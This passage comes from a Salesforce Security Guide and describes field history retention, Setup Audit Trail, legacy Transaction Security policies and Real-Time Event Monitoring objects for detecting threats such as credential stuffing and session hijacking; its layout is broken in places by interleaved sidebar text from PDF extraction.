only 20 fields per object. With Field Audit Trail, you retain archived field history data up to 10 years USER PERMISSIONS
from the time the data was archived. Without it, you retain archived data for only 18 months.
To specify a field history
Important: Field history tracking data and Field Audit Trail data don’t count against your retention policy:
Salesforce org’s data storage limits. • Retain Field History
You can set field history retention policies on these objects.
• Accounts, including Person Accounts
• Assets
• Campaigns
• Cases
• Contacts
• Contracts
• Contract Line Items
• Entitlements
• Individuals
• Leads
• Opportunities
• Orders
• Order Products
• Price Books
• Price Book Entries
• Products
• Service Appointments
• Service Contracts
• Solutions
• Work Orders
• Work Order Line Items
• Custom objects with field history tracking enabled

Note: Once Field Audit Trail is enabled, HistoryRetentionPolicy is automatically set on the supported objects. By
default, data is archived after 18 months in a production organization, after one month in a sandbox organization, and all archived

238
Salesforce Security Guide Field History Tracking

data is stored for 10 years. The default retention policy is not included when retrieving the object’s definition through the Metadata
API. Only custom retention policies are retrieved along with the object definition.
You can include field history retention policies in managed and unmanaged packages.
The following fields can’t be tracked.
• Formula, roll-up summary, or auto-number fields
• Created By and Last Modified By
• Expected Revenue field on opportunities
• Master Solution Title or the Master Solution Details fields on solutions
• Long text fields
• Multi-select fields
After you define and deploy a Field Audit Trail policy, production data is migrated from related history lists such as Account History into
the FieldHistoryArchive big object. The first copy writes the field history that’s defined by your policy to archive storage and
sometimes takes a long time. Subsequent copies transfer only the changes since the last copy and are much faster. A bounded set of
SOQL is available to query your archived data. If you delete a record in your production data, the delete cascades to the associated history
tracking records, but the history copied into the FieldHistoryArchive big object isn’t deleted. To delete data in
FieldHistoryArchive, see Delete Field History and Field Audit Trail Data.
Use Async SOQL to build aggregate reports from a custom object based on the volume of the data in the FieldHistoryArchive
big object.

Important: If you enable Platform Encryption in your org and use Field Audit Trail to track encrypted fields, there are limitations
on using Async SOQL. In particular, using Async SOQL to query the NewValue or OldValue fields of the
FieldHistoryArchive big object is not supported. Use SOQL to query both encrypted and unencrypted NewValue
and OldValue fields of FieldHistoryArchive.

Tip: Previously archived data remains unencrypted if you turn on Platform Encryption later. For example, your organization uses
Field Audit Trail to define a data history retention policy for an account field, such as the phone number field. After enabling
Platform Encryption, you turn on encryption for that field, and phone number data in the account is encrypted. New phone number
records and previous updates stored in the Account History related list are encrypted. However, phone number history data that
is already archived in the FieldHistoryArchive object remains stored without encryption. If your organization wants to
encrypt previously archived data, contact Salesforce. We encrypt and rearchive the stored field history data, then delete the
unencrypted archive.

239
Salesforce Security Guide Monitor Setup Changes with Setup Audit Trail

Monitor Setup Changes with Setup Audit Trail

Setup Audit Trail tracks the recent setup changes that you and other admins make to your Salesforce
EDITIONS
org. Audit history is especially useful in orgs with multiple admins.
To view the audit history, from Setup, enter View Setup Audit Trail in the Quick Find Available in: Salesforce
box, then select View Setup Audit Trail. To download your org’s complete setup history for the Classic and Lightning
past 180 days, click Download. After 180 days, setup entity records are deleted. Experience

The history shows the 20 most recent setup changes made to your org. It lists the date of the change, Available in: Contact
who made it, and what the change was. If a delegate, like an admin or customer support Manager, Essentials,
representative, makes a setup change on behalf of an end user, the Delegate User column shows Group, Professional,
the delegate’s username. For example, if a user grants login access to an admin and the admin Enterprise, Performance,
makes a setup change, the admin’s username is listed. Unlimited, Developer, and
Database.com Editions
Setup Audit Trail tracks these changes.

Setup Changes Tracked USER PERMISSIONS

Administration • Company information, default settings like language or locale, and company To view audit trail history:
messages • View Setup and
Configuration
• Multiple currencies
• Users, portal users, roles, permission sets, and profiles
• Email addresses for any user
• Deleting email attachments sent as links
• Email footers, including creating, editing, or deleting
• Email deliverability settings
• Divisions, including creating, editing, and transferring and changing users’
default division
• Certificates, adding or deleting
• Domain names
• Enabling or disabling Salesforce as an identity provider

Profiles • Permission for a standard or custom profile changed

• General or admin permission changed
• FLS changed on the profile
• Entity permission for a standard or custom profile changed
• Profile Page Layout changed
• Tab set on a standard or custom profile changed
• User tab set override changed
• User tab set customization override changed for standard or custom profiles
• Tab set visibility changed for a standard or custom profile
• Tab set visibility modified
• Default tab set modified
• Custom App default changed on standard or custom profiles
• Profile renamed, cloned, or deleted

240
Salesforce Security Guide Monitor Setup Changes with Setup Audit Trail

Setup Changes Tracked

• Profile description changed
• Standard or custom profile cloned
• Console setting or layout changed
• View, or modify, all data enabled for this profile
• Login hours for the profile modified.
• Client settings for the profile modified
• Record type added to or removed from the profile
• Default record type modified
• Default person account record type modified
• Default business account record type modified
• Single sign on enabled or disabled for this profile

Permission • Permission set (or group) created, cloned, or deleted

Sets/Groups
• Permission set created or cloned without a license
• Developer name, label, or description of a permission set changed
• Session activation changed by admin
• Permission in a permission set enabled or disabled by admin
• FLS for an object in a permission set changed by admin
• Permission set from a user assigned or unassigned by admin
• Tab settings in a permission set changed by admin
• Permission set group assigned or removed for a user
• Permission set group re-calculated

Customization • User interface settings like collapsible sections, Quick Create, hover details, or related list hover links
• Page layout, action layout, and search layouts
• Compact layouts
• Salesforce app navigation menu
• Inline edits
• Custom fields and field-level security, including formulas, picklist values, and field attributes like the
auto-number field format, field manageability, or masking of encrypted fields
• Lead settings, lead assignment rules, and lead queues
• Activity settings
• Support settings, business hours, case assignment and escalation rules, and case queues
• Requests to Salesforce Customer Support
• Tab names, including tabs that you reset to the original tab name
• Custom apps (including Salesforce console apps), custom objects, and custom tabs
• Contract settings
• Forecast settings
• Email-to-Case or On-Demand Email-to-Case, enabling or disabling

241
Salesforce Security Guide Monitor Setup Changes with Setup Audit Trail

Setup Changes Tracked

• Custom buttons, links, and s-controls, including standard button overrides
• Drag-and-drop scheduling, enabling or disabling
• Similar opportunities, enabling, disabling, or customizing
• Quotes, enabling or disabling
• Data category groups, data categories, and category-group assignments to objects
• Article types
• Category groups and categories
• Salesforce Knowledge settings
• Ideas settings
• Answers settings
• Field tracking in feeds
• Campaign influence settings
• Critical updates, activating or deactivating
• Chatter email notifications, enabling or disabling
• Chatter new user creation settings for invitations and email domains, enabling or disabling
• Validation rules

Security and Sharing • Public groups, sharing rules, and org-wide sharing, including the Grant Access Using Hierarchies option

• Password policies
• Password resets
• Session settings, like session timeout (excluding Session times out after and Session security level
required at login profile settings)
• Delegated administration groups and the items delegated admins can manage (setup changes made by
delegated administrators are also tracked)
• Lightning Login, enabling or disabling, enrollments, and cancellations
• How many records a user permanently deleted from their Recycle Bin and from the Org Recycle Bin
• SAML (Security Assertion Markup Language) configuration settings
• Salesforce certificates
• Identity providers, enabling or disabling
• Named credentials
• Service providers
• Shield Platform Encryption setup
• Event Manager
• Transaction Security
• Some connected app policy and setting updates

Data Management • Using mass delete, including when a mass delete exceeds the user’s Recycle Bin limit on deleted records
• Data export requests
• Mass transfer use

242
Salesforce Security Guide Monitor Setup Changes with Setup Audit Trail

Setup Changes Tracked

• Reporting snapshots, including defining, deleting, or changing the source report or target object on a
reporting snapshot
• Use of the Data Import Wizard
• Sandbox deletions

Development • Apex classes and triggers

• Visualforce pages, custom components, and static resources
• Lightning pages
• Action link templates
• Custom settings
• Custom metadata types and records
• Remote access definitions
• Salesforce Sites settings

Various Setups • API usage metering notification, creating

• Territories
• Process automation settings
• Approval processes
• Workflow actions, creating or deleting
• Flows
• Packages from Salesforce AppExchange that you installed or uninstalled
• Notification delivery settings for custom and standard notification types

Using the application • Account team and opportunity team selling settings

• Activating Google Apps services

• Mobile configuration settings, including data sets, mobile views, and excluded fields
• Users with the “Manage External Users” permission logging in to the partner portal as partner users
• Users with the “Manage Customer Users” permission logging in to the Salesforce Customer Portal as Customer
Portal users
• Partner portal accounts, enabling or disabling
• Salesforce Customer Portal accounts, disabling
• Salesforce Customer Portal, enabling or disabling
• Creating multiple Customer Portals
• Entitlement processes and entitlement templates, changing or creating
• Self-registration for a Salesforce Customer Portal, enabling or disabling
• Customer Portal or partner portal users, enabling or disabling

243
Salesforce Security Guide Transaction Security Policies (Legacy)

Transaction Security Policies (Legacy)

Transaction Security is a framework that intercepts real-time Salesforce events and applies appropriate
EDITIONS
actions and notifications based on security policies you create. Transaction Security monitors events
according to the policies that you set up. When a policy is triggered, you can receive a notification Available in: Salesforce
and have an optional action taken. Classic and Lightning
Experience
Warning: Legacy Transaction Security is scheduled for retirement in all Salesforce orgs as
of Summer ’20. For more information, see Legacy Transaction Security Retirement. To create Available in: Enterprise,
transaction security policies using the new framework, refer to the Enhanced Transaction Unlimited, and Developer
Security documentation. To migrate legacy policies to the new framework, refer to the Editions
migration documentation. Requires Salesforce Shield
Policies evaluate activity using events that you specify. For each policy, you define real-time actions, or Salesforce Event
such as notify, block, or force multi-factor authentication. Monitoring add-on
subscriptions.
For example, suppose that you activate the Concurrent Sessions Limiting policy to limit the number
of concurrent sessions per user. In addition, you change the policy to notify you via email when the
policy is triggered. You also update the policy’s Apex implementation to limit users to three sessions
instead of the default five sessions. (That’s easier than it sounds.) Later, someone with three login sessions tries to create a fourth. The
policy prevents that and requires the user to end one of the existing sessions before proceeding with the new session. At the same time,
you are notified that the policy was triggered.
The Transaction Security architecture uses the Security Policy Engine to analyze events and determine the necessary actions.

A transaction security policy consists of events, notifications, and actions. For example, when a user tries to export Account data, you
can block the operation and get notified by email.

IN THIS SECTION:
Set Up Legacy Transaction Security
Activate and configure transaction security on your Salesforce org before creating your own custom policies. Only an active user
assigned the System Administrator profile can use this feature.

244
Salesforce Security Guide Transaction Security Policies (Legacy)

Create Legacy Transaction Security Policies

Create your own custom legacy policies triggered by specific events. Only an active user assigned the System Administrator profile
can use this feature.
Apex Policies for Legacy Transaction Security
Every Transaction Security policy must implement the Apex TxnSecurity.PolicyCondition or
TxnSecurity.EventCondition interface.

Set Up Legacy Transaction Security

Activate and configure transaction security on your Salesforce org before creating your own custom
EDITIONS
policies. Only an active user assigned the System Administrator profile can use this feature.

Warning: Legacy Transaction Security is scheduled for retirement in all Salesforce orgs as Available in: Salesforce
of Summer ’20. You can no longer create, edit , or enable transaction security policies using Classic and Lightning
Experience
the legacy framework and will receive an error message if you try to do so. For more
information, see Legacy Transaction Security Retirement. To create transaction security policies Available in: Enterprise,
using the new framework, refer to the Enhanced Transaction Security documentation. To Unlimited, and Developer
migrate legacy policies to the new framework, refer to the migration documentation. Editions
1. Enable transaction security policies to make them available for use. Requires Salesforce Shield
or Salesforce Event
a. From Setup, enter Transaction Security in the Quick Find box, and then select
Monitoring add-on
Transaction Security Policies.
subscriptions.
b. Click Enable.
When you enable Transaction Security, two policies are created: Concurrent User Session Limit
and Lead Data Export. As of the Spring ’20 release, Salesforce no longer creates these sample USER PERMISSIONS
policies in new orgs, as they are part of the legacy transaction security framework, which is
User Permissions Needed
being retired. Orgs created before the Spring ’20 release continue to include these sample
policies. For more information and examples, see Transaction Security Policies. To create, edit, and manage
transaction security policies:
2. Set the Transaction Security preferences for your org. • Customize Application
a. On the Transaction Security Policies page, click Edit Preferences. To manage transaction
b. Select When users exceed the maximum number of Salesforce sessions allowed, security policies:
close the oldest session. • Author Apex

Login policies affect programmatic access and access from Salesforce Classic and Lightning
Experience. When you create a policy that limits the number of concurrent user sessions, all
sessions count toward that limit. Regular logins with a username and password, logins by web applications, logins using Authentication
Providers, and all other login types are considered.
The session limit isn’t a problem in Salesforce Classic or Lightning Experience because you’re prompted to select which session or
sessions to end. That choice isn’t available from within a program, so the program receives a Transaction Security exception that the
session limit has been reached.
To prevent this problem, select When users exceed the maximum number of Salesforce sessions allowed, close the oldest
session. Then when a programmatic request is made that exceeds the number of sessions allowed, older sessions are automatically
ended until the session count is below the limit. Here’s how the OAuth flows handle login policies with and without the preference
being set.

245
Salesforce Security Guide Transaction Security Policies (Legacy)

Flow Type Action If Preference Is Selected Action If Preference Is Not Selected

OAuth 2.0 web server Authorization Code and Access Token granted Authorization Code granted, but Access Token
Older sessions are ended until you’re within policy not granted
compliance. Older sessions are ended until you’re within policy
compliance.

OAuth 2.0 user-agent Access Token granted Access Token granted

Older sessions are ended until you’re within policy Older sessions are ended until you’re within policy
compliance. compliance.

OAuth 2.0 refresh token Access Token granted TXN_SECURITY_END_SESSION exception

flow Older sessions are ended until you’re within policy
compliance.

OAuth 2.0 JWT bearer token Access Token granted TXN_SECURITY_END_SESSION exception
Older sessions are ended until you’re within policy
compliance.

OAuth 2.0 SAML bearer Access granted TXN_SECURITY_END_SESSION exception

assertion Older sessions are ended until you’re within policy
compliance.

OAuth 2.0 username and Access granted Access denied due to more than the number of
password Older sessions are ended until you’re within policy sessions allowed by the policy
compliance.

SAML assertion Not applicable Not applicable

For more information on authentication flows, see Authorize Apps with OAuth in Salesforce Help.

246
Salesforce Security Guide Transaction Security Policies (Legacy)

Create Legacy Transaction Security Policies

Create your own custom legacy policies triggered by specific events. Only an active user assigned
EDITIONS
the System Administrator profile can use this feature.

Warning: Legacy Transaction Security is scheduled for retirement in all Salesforce orgs as Available in: Salesforce
of Summer ’20. You can no longer create, edit , or enable transaction security policies using Classic and Lightning
Experience
the legacy framework and will receive an error message if you try to do so. For more
information, see Legacy Transaction Security Retirement. To create transaction security policies Available in: Enterprise,
using the new framework, refer to the Enhanced Transaction Security documentation. To Unlimited, and Developer
migrate legacy policies to the new framework, refer to the migration documentation. Editions

Important: This topic discusses only how to create a legacy transaction security policy. For Requires Salesforce Shield
details on creating an enhanced policy, see Build a Transaction Security Policy with Condition or Salesforce Event
Builder or Create an Enhanced Transaction Security Policy That Uses Apex. Monitoring add-on
subscriptions.
You can create multiple policies for the same type of event, but we recommend that your policies
and their actions don't overlap. If multiple policies with the same action for a given event execute
when the event occurs, their order of execution is indeterminate. USER PERMISSIONS
1. From Setup, enter Transaction in the Quick Find box, select Transaction Security Policies,
User Permissions Needed
and then click New.
To create, edit, and manage
2. Click Apex then Next.
transaction security policies:
3. Click Transaction Security Policy (the legacy version of transaction security). • Customize Application
4. Select the event type and associated resource that your policy monitors. To manage transaction
security policies:
Note: AccessResource event policies don't trigger when Dashboard Subscriptions send
• Author Apex
an email. These policies still trigger when users access resources directly from a dashboard.
Lightning Experience supports only the Feed Comment and Feed Item resources, while
Salesforce Classic supports all Chatter resources. You can’t create a Data Export event
policy for joined reports, historical reports, or custom report types.

5. If you’re creating an Apex-based policy in a non-production environment, in Apex Class, select New Empty Apex Class. (Transaction
Security creates a stub, or placeholder, Apex policy condition.) Otherwise, use an existing Apex policy condition.
6. Select what the policy does when triggered and who is notified and how. Any users you select must have Modify All Data and View
Setup permissions.

Note: Although you’re required to enter a user in the Execute Policy As field, the automated process user always executes
the policy.
The actions available vary depending on the event type. For login and resource events, you can also block the action or require a
higher level of access control with multi-factor authentication. For Chatter events, you can freeze the user or block the post. For
Login events, you can require ending an existing session before continuing with the current session. You can set the default action
for ending a session to always close the oldest session. For more information, see What Are Transaction Security Actions?
If you’re creating an Apex-based policy and use an API callout in the Apex class, you must select an action. If you select None as
the action, the policy can’t execute.

Note: Multi-factor authentication is not available in the Salesforce app or Lightning Experience for the Resource Access event
type. The Block action is used instead.
Enter a user that has Modify All Data and View Setup permissions in the Execute Policy As field. However, the automated process
user always executes the policy, regardless of the user you enter.

247
Salesforce Security Guide Transaction Security Policies (Legacy)

7. Choose a descriptive name for your policy. Your policy name can contain only underscores and alphanumeric characters, and must
be unique in your org. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive
underscores.
8. To enable the policy after you create it, in Status, switch to Enabled. (You can always disable it later from the Transaction Security
Policies page.)
9. Click Finish.
If you’re in a non-production environment and you selected New Empty Apex Class for your new policy, modify the generated Apex
class now before activating your policy. Click the Apex class name to get started, and add the condition that triggers the policy. See Apex
Policies for Legacy Transaction Security for examples.

Apex Policies for Legacy Transaction Security

Every Transaction Security policy must implement the Apex
EDITIONS
TxnSecurity.PolicyCondition or TxnSecurity.EventCondition interface.

Warning: Legacy Transaction Security is scheduled for retirement in all Salesforce orgs as Available in: Salesforce
of Summer ’20. For more information, see Legacy Transaction Security Retirement. You can Classic and Lightning
Experience
no longer create, edit , or enable transaction security policies using the legacy framework
and will receive an error message if you try to do so. To create transaction security policies Available in: Enterprise,
using the new framework, refer to the Enhanced Transaction Security documentation. To Unlimited, and Developer
migrate legacy policies to the new framework, refer to the migration documentation. Editions
If you didn’t specify a condition value before you generated the Apex interface for a policy, you can Requires Salesforce Shield
add the condition later. To change the condition, you can edit the Apex code to include a condition or Salesforce Event
before you activate your policy. If you don’t include a condition, your policy isn’t triggered. Monitoring add-on
subscriptions.
Don’t include DML statements in your custom policies because they can cause errors. When you
send a custom email via Apex during transaction policy evaluation, you get an error, even if the
record is not explicitly related to another record. For more information, see Apex DML Operations
in the Apex Developer Guide.
When you delete a transaction security policy, your TxnSecurity.PolicyCondition or TxnSecurity.EventCondition
implementation isn’t deleted. You can reuse your Apex code in other policies.
If you use an API callout in the Apex class that implements TxnSecurity.PolicyCondition, you must select an action when
you create the Transaction Security policy in Setup. If you select None as the action, the policy can’t execute. For more information,
see Invoking Callouts Using Apex in the Apex Developer Guide.

248
Salesforce Security Guide Real-Time Event Monitoring

Real-Time Event Monitoring

Real-Time Event Monitoring helps you monitor and detect standard events in Salesforce in near
EDITIONS
real-time. You can store the event data for auditing or reporting purposes. You can create transaction
security policies using Condition Builder—a point-and-click tool—or Apex code. Available in: Salesforce
With Real-Time Event Monitoring, gain greater insights into: Classic and Lightning
Experience
• Who viewed what data and when
• Where data was accessed Available in: Enterprise,
Unlimited, and Developer
• When a user changes a record using the UI
Editions
• Who is logging in and from where
Requires Salesforce Shield
• Who in your org is performing actions related to Platform Encryption administration or Salesforce Event
• Which admins logged in as another user and the actions the admin took as that user Monitoring add-on
• How long it takes a Lightning page to load subscriptions.

• Threats detected in your org, such as anomalies in how users view or export reports, session
hijacking attacks, or credential stuffing attacks
As a best practice, before creating transaction security policies, you can view or query events to determine appropriate thresholds for
normal business usage.

IN THIS SECTION:
Real-Time Event Monitoring Definitions
Keep these terms in mind when working with Real-Time Event Monitoring.
Considerations for Using Real-Time Event Monitoring
Keep the following considerations in mind as you set up and use Real-Time Event Monitoring.
Enable Access to the Real-Time Event Monitoring
You can set user access to Real-Time Event Monitoring through profiles and permission sets.
Stream and Store Event Data
Explore how you can use the objects in Real-Time Event Monitoring to stream and store event data.
Create Logout Event Triggers
If the LogoutEventStream object is available to your org, you can create Apex triggers that respond to security logout events from
your org’s UI.
How Chunking Works with ReportEvent and ListViewEvent
Chunking occurs when a report or list view execution returns many records and Salesforce splits the returned data into chunks.
Enhanced Transaction Security
Enhanced Transaction Security is a framework that intercepts real-time events and applies appropriate actions to monitor and control
user activity. Each transaction security policy has conditions that evaluate events and the real-time actions that are triggered after
those conditions are met. The actions are Block, Multi-Factor Authentication, and Notifications. Before you build your policies,
understand the available event types, policy conditions, and common use cases. Enhanced Transaction Security is included in
Real-Time Event Monitoring.

249
Salesforce Security Guide Real-Time Event Monitoring Definitions

Threat Detection
Threat Detection uses statistical and machine learning methods to detect threats to your Salesforce org.

SEE ALSO:
Salesforce Help: What’s the Difference Between the Salesforce Events?
Learning Map: Shield Learning Map

Real-Time Event Monitoring Definitions

Keep these terms in mind when working with Real-Time Event Monitoring.
EDITIONS
Event
An event is anything that happens in Salesforce, including user clicks, record state changes, Available in: Salesforce
and measuring values. Events are immutable and timestamped. Classic and Lightning
Experience
Event Channel
A stream of events on which an event producer sends event messages and event consumers Available in: Enterprise,
read those messages. Unlimited, and Developer
Editions
Event Subscriber
A subscriber to a channel that receives messages from the channel. For example, a security app Requires Salesforce Shield
is notified of new report downloads. or Salesforce Event
Monitoring add-on
Event Message
subscriptions.
A message used to transmit data about the event.
Event Publisher
The publisher of an event message over a channel, such as a security and auditing app.

Considerations for Using Real-Time Event Monitoring

Keep the following considerations in mind as you set up and use Real-Time Event Monitoring.
EDITIONS
Salesforce Classic versus Lightning Experience
Available in: Salesforce
Some events apply only to Salesforce Classic or Lightning Experience.
Classic and Lightning
The following objects support only Salesforce Classic: Experience
• URIEvent Available in: Enterprise,
• URIEventStream Unlimited, and Developer
The following object supports only Lightning Experience: Editions
Requires Salesforce Shield
• LightningUriEvent
or Salesforce Event
• LightingUriEventStream Monitoring add-on
Note: Real-Time Event Monitoring objects sometimes contain sensitive data. Assign object subscriptions.
permissions to Real-Time Events accordingly in profiles or permission sets.
Enhanced Transaction Security
• With Enhanced Transaction Security, you can create policies using either Condition Builder or Apex code.
• Enhanced Transaction Security policies support both standard and custom objects.
• Before you enable an Enhanced Transaction Security policy on a specific event, you must disable any legacy Transaction Security
policies for that event.

250
Salesforce Security Guide Considerations for Using Real-Time Event Monitoring

• The multi-factor authentication action isn’t available in the Salesforce mobile app, Lightning Experience, or via API for any events.
Instead, the block action is used. For example, if a multi-factor authentication policy is triggered on a list view performed via the API,
Salesforce blocks the API call.
• A value of 0 for the RowsProcessed field in an object (such as ApiEvent) indicates that a query was performed and nothing was
returned. This scenario is possible if a user doesn’t have the correct permissions for a data row or the query doesn’t return results. In
this case, the QueriedEntities field is empty.
• Let’s say you create both an Apex and a Condition Builder policy on the same event. You also specify the same action (Block or
multi-factor authentication) for both policies. In this case, the Apex policy executes before the Condition Builder policy. The PolicyId
field of the event reflects the last policy that was executed and triggered.
• You can’t use the same Apex class on policies with the same event. When you create an Apex policy using Condition Builder, the
list of available Apex classes can differ based on the policies you already created.
• Let’s say you enable a transaction security policy for an event in which the action is None. As a result, when an event satisfies the
policy conditions, the policy isn’t triggered. However, these event fields are still populated:
– EvaluationTime—The time it took for the policy to be evaluated.
– PolicyOutcome—Set to NoAction.
– PolicyId—Set to null.

Recommended Usage of Event Objects

Real-Time Event Monitoring objects have three primary uses: streaming data, storing data, and enforcing policies on data. But these uses
don’t apply to all objects. Here’s guidance on which objects are available for each use case. For details, see Stream and Store Event Data.

Streaming Storage Policy

ApiEventStream ApiEvent ApiEvent

LightningUriEventStream LightningUriEvent n/a

ListViewEventStream ListViewEvent ListViewEvent

LoginAsEventStream LoginAsEvent n/a

LoginEventStream LoginEvent LoginEvent

LogoutEventStream LogoutEvent n/a

ReportEventStream ReportEvent ReportEvent

UriEventStream UriEvent n/a

251
Salesforce Security Guide Enable Access to the Real-Time Event Monitoring

Enable Access to the Real-Time Event Monitoring

You can set user access to Real-Time Event Monitoring through profiles and permission sets.
EDITIONS
1. From Setup, do one of the following.
Available in: Salesforce
• Enter Permission Sets in the Quick Find box, then select Permission Sets.
Classic and Lightning
• Enter Profiles in the Quick Find box, then select Profiles. Experience
2. Select a permission set or profile. Available in: Enterprise,
3. Depending on whether you’re using permission sets or profiles, do one of the following. Unlimited, and Developer
Editions
• In permission sets or the enhanced profile user interface, select a permission. In the Find
Requires Salesforce Shield
Settings dialog box, enter View Real-Time Event Monitoring Data. Click
or Salesforce Event
Edit, select the option, and click Save. Repeat these steps for the Customize Application
Monitoring add-on
permission.
subscriptions.
• In the original profile user interface, select a profile name, and then click Edit. Select View
Real-Time Event Monitoring Data, and Customize Application if you plan to create
transaction security policies. Click Save. USER PERMISSIONS
In addition to enabling Real-Time Event Monitoring, set user permissions to Real-Time Event
To view events:
objects. Real-Time Event Monitoring objects sometimes contain sensitive data. • View Real-Time Event
Monitoring Data
To create, edit, and manage
transaction security policies:
• Customize Application

Stream and Store Event Data

Explore how you can use the objects in Real-Time Event Monitoring to stream and store event data.
EDITIONS

IN THIS SECTION: Available in: Salesforce

Classic and Lightning
Manage Real-Time Event Monitoring Events
Experience
Manage streaming and storage settings for Real-Time Event Monitoring events declaratively
with the Event Manager. You can also manage settings programmatically with the Metadata Available in: Enterprise,
API. Real-Time Event Monitoring helps you monitor and detect standard events in Salesforce Unlimited, and Developer
in near real-time. You can store the event data for auditing or reporting purposes. You can Editions
create transaction security policies using Condition Builder—a point-and-click tool—or Apex Requires Salesforce Shield
code. or Salesforce Event
Real-Time Event Monitoring Data Streaming Monitoring add-on
subscriptions.
Use Real-Time Event Monitoring to subscribe to standard events published by Salesforce to
monitor activity in your org. You can subscribe to this data from an external data system of your
choice using a streaming API client.
Real-Time Event Monitoring Data Storage
With Real-Time Event Monitoring, you can store and query event data in Salesforce objects. Many of the storage events are Salesforce
big objects, which are ideal for storing large volumes of data for up to six months. A big object stores the data natively in Salesforce,
so you can access it for reporting and other uses. Some of the storage events, such as the Threat Detection ones, are standard
Salesforce objects.

252
Salesforce Security Guide Stream and Store Event Data

Use Async SOQL with Real-Time Event Monitoring

Here are some examples of using Async SOQL with real-time events.

Manage Real-Time Event Monitoring Events

Manage streaming and storage settings for Real-Time Event Monitoring events declaratively with
USER PERMISSIONS
the Event Manager. You can also manage settings programmatically with the Metadata API. Real-Time
Event Monitoring helps you monitor and detect standard events in Salesforce in near real-time. To update events in Event
You can store the event data for auditing or reporting purposes. You can create transaction security Manager:
policies using Condition Builder—a point-and-click tool—or Apex code. • Customize Application
AND View Setup
Important: Viewing Real-Time Event Monitoring events requires Salesforce Shield or
Salesforce Event Monitoring add-on subscriptions. You don’t need this add-on to view
streaming logout events.

Note: Real-Time Event Monitoring objects sometimes contain sensitive data. Assign object permissions to Real-Time Events
accordingly in profiles or permission sets.
1. From Setup, in the Quick Find box, enter Events, then select Event Manager.
2. Next to the event you want to enable or disable streaming for, click the dropdown menu.
3. Select whether you want to enable or disable streaming or storing on the event.

Real-Time Event Monitoring Data Streaming

Use Real-Time Event Monitoring to subscribe to standard events published by Salesforce to monitor
EDITIONS
activity in your org. You can subscribe to this data from an external data system of your choice using
a streaming API client. Available in: Salesforce
Data is streamed using a publish-subscribe model. Salesforce publishes streaming data to an event Classic and Lightning
subscription channel, and your app subscribes, or listens, to the event channel to get the data close Experience
to real time. Streaming events are retained for up to three days. Real-Time Event Monitoring’s
Available in: Enterprise,
streaming events don’t count against your Platform Events delivery allocation. Some system Unlimited, and Developer
protection limits apply. Editions
Tip: To more efficiently obtain and process event data from three days ago or less, we Requires Salesforce Shield
recommend querying events from big objects instead of subscribing to past events in a or Salesforce Event
stream. Monitoring add-on
subscriptions.
Here are some examples.

Event Object Use Case Considerations

ApiEventStream Detect when a user queries sensitive Object is available only in
data, such as patent records. Real-Time Event Monitoring
.

ApiAnomalyEvent Track anomalies in how users make Object is available only in

API calls. Real-Time Event Monitoring.

BulkApiResultEvent Track when a user downloads the Object is available only in

results of a Bulk API request. Real-Time Event Monitoring.

253
Salesforce Security Guide Stream and Store Event Data

Event Object Use Case Considerations

ConcurLongRunApexErrEvent Detect errors that occur when an org exceeds the Object is available only in Real-Time Event
concurrent long-running Apex limit. Monitoring .

CredentialStuffingEvent Track when a user successfully logs into Salesforce during Object is available only in Real-Time Event
an identified credential stuffing attack. Credential stuffing Monitoring.
refers to large-scale automated login requests using
stolen user credentials.

LightningUriEventStream Detect when a user creates, accesses, updates, or deletes Object is available only in Real-Time Event
a record containing sensitive data in Lightning Monitoring.
Experience.

ListViewEventStream Detect when a user accesses, updates, or exports list view Object is available only in Real-Time Event
data using Salesforce Classic, Lightning Experience, or Monitoring.
the API.

LoginAsEventStream Detect when a Salesforce admin logs in as another user Object is available only in Real-Time Event
and track the admin’s activities. Monitoring.

LoginEventStream Detect when a user tries to log in under certain Object is available only in Real-Time Event
conditions—for example, from an unsupported browser Monitoring.
or from an IP address that is outside of your corporate
range.

LogoutEventStream Detect when a user logs out of Salesforce by clicking Log Object is available to all customers.
Out in the Salesforce UI.

MobileEmailEvent Track your users’ email activity in a Salesforce mobile Object is available only in Real-Time Event
app. Monitoring and Enhanced Mobile App
Security.

MobileEnforcedPolicyEvent Track enforcement of Enhanced Mobile Security policy Object is available only in Real-Time Event
events on a Salesforce mobile app. Monitoring and Enhanced Mobile App
Security.

MobileScreenshotEvent Track your users’ screenshots in a Salesforce mobile app. Object is available only in Real-Time Event
Monitoring and Enhanced Mobile App
Security.

MobileTelephonyEvent Track your users’ phone calls and text messages in a Object is available only in Real-Time Event
Salesforce mobile app. Monitoring and Enhanced Mobile App
Security.

ReportAnomalyEvent Track anomalies in how users run or export reports. Object is available only in Real-Time Event
Monitoring.

ReportEventStream Detect when a user creates, runs, updates, or exports a Object is available only in Real-Time Event
report that contains sensitive data. Monitoring.

SessionHijackingEvent Track when unauthorized users gain ownership of a Object is available only in Real-Time Event
Salesforce user’s session with a stolen session identifier. Monitoring.

254
Salesforce Security Guide Stream and Store Event Data

Event Object Use Case Considerations

UriEventStream Detect when a user creates, accesses, updates, or deletes Object is available only in Real-Time Event
a record containing sensitive data in Salesforce Classic. Monitoring

For more information about building apps that listen to streaming data channels, see the Streaming API Developer Guide.
For a quick start about subscribing to streaming events using the EMP Connector open-source tool, see the Example: Subscribe to and
Replay Events Using a Java Client (EMP Connector) in the Platform Events Developer Guide.
For reference documentation of the standard platform events and the corresponding big objects, see Real-Time Event Monitoring Objects
in the Platform Events Developer Guide.

Real-Time Event Monitoring Data Storage

With Real-Time Event Monitoring, you can store and query event data in Salesforce objects. Many
EDITIONS
of the storage events are Salesforce big objects, which are ideal for storing large volumes of data
for up to six months. A big object stores the data natively in Salesforce, so you can access it for Available in: Salesforce
reporting and other uses. Some of the storage events, such as the Threat Detection ones, are standard Classic and Lightning
Salesforce objects. Experience

Available in: Enterprise,

Using SOQL with Storage Events Unlimited, and Developer
Both standard and Async SOQL queries are supported for both types of storage event (big objects Editions
and standard objects). Requires Salesforce Shield
or Salesforce Event
Standard SOQL
Monitoring add-on
Standard objects, such as the Threat Detection storage events, support SOQL queries on all their subscriptions.
fields. Big objects, however, support SOQL queries on only two fields: EventDate or
EventIdentifier. You can query big objects using a subset of standard SOQL commands
filtering by EventDate alone, or EventDate and EventIdentifier together.
The exception is ReportEvent, on which you can filter on three fields: EventDate, EventIdentifier, and UserId (Beta). Valid
filters for ReportEvent queries are:
• UserId alone
• EventDate alone
• UserId with EventDate
• EventDate with EventIdentifier
If you filter on EventIdentifier alone, or UserId with EventIdentifier, your query fails. You can only do a range query
on the first index when you’re searching on UserId alone.

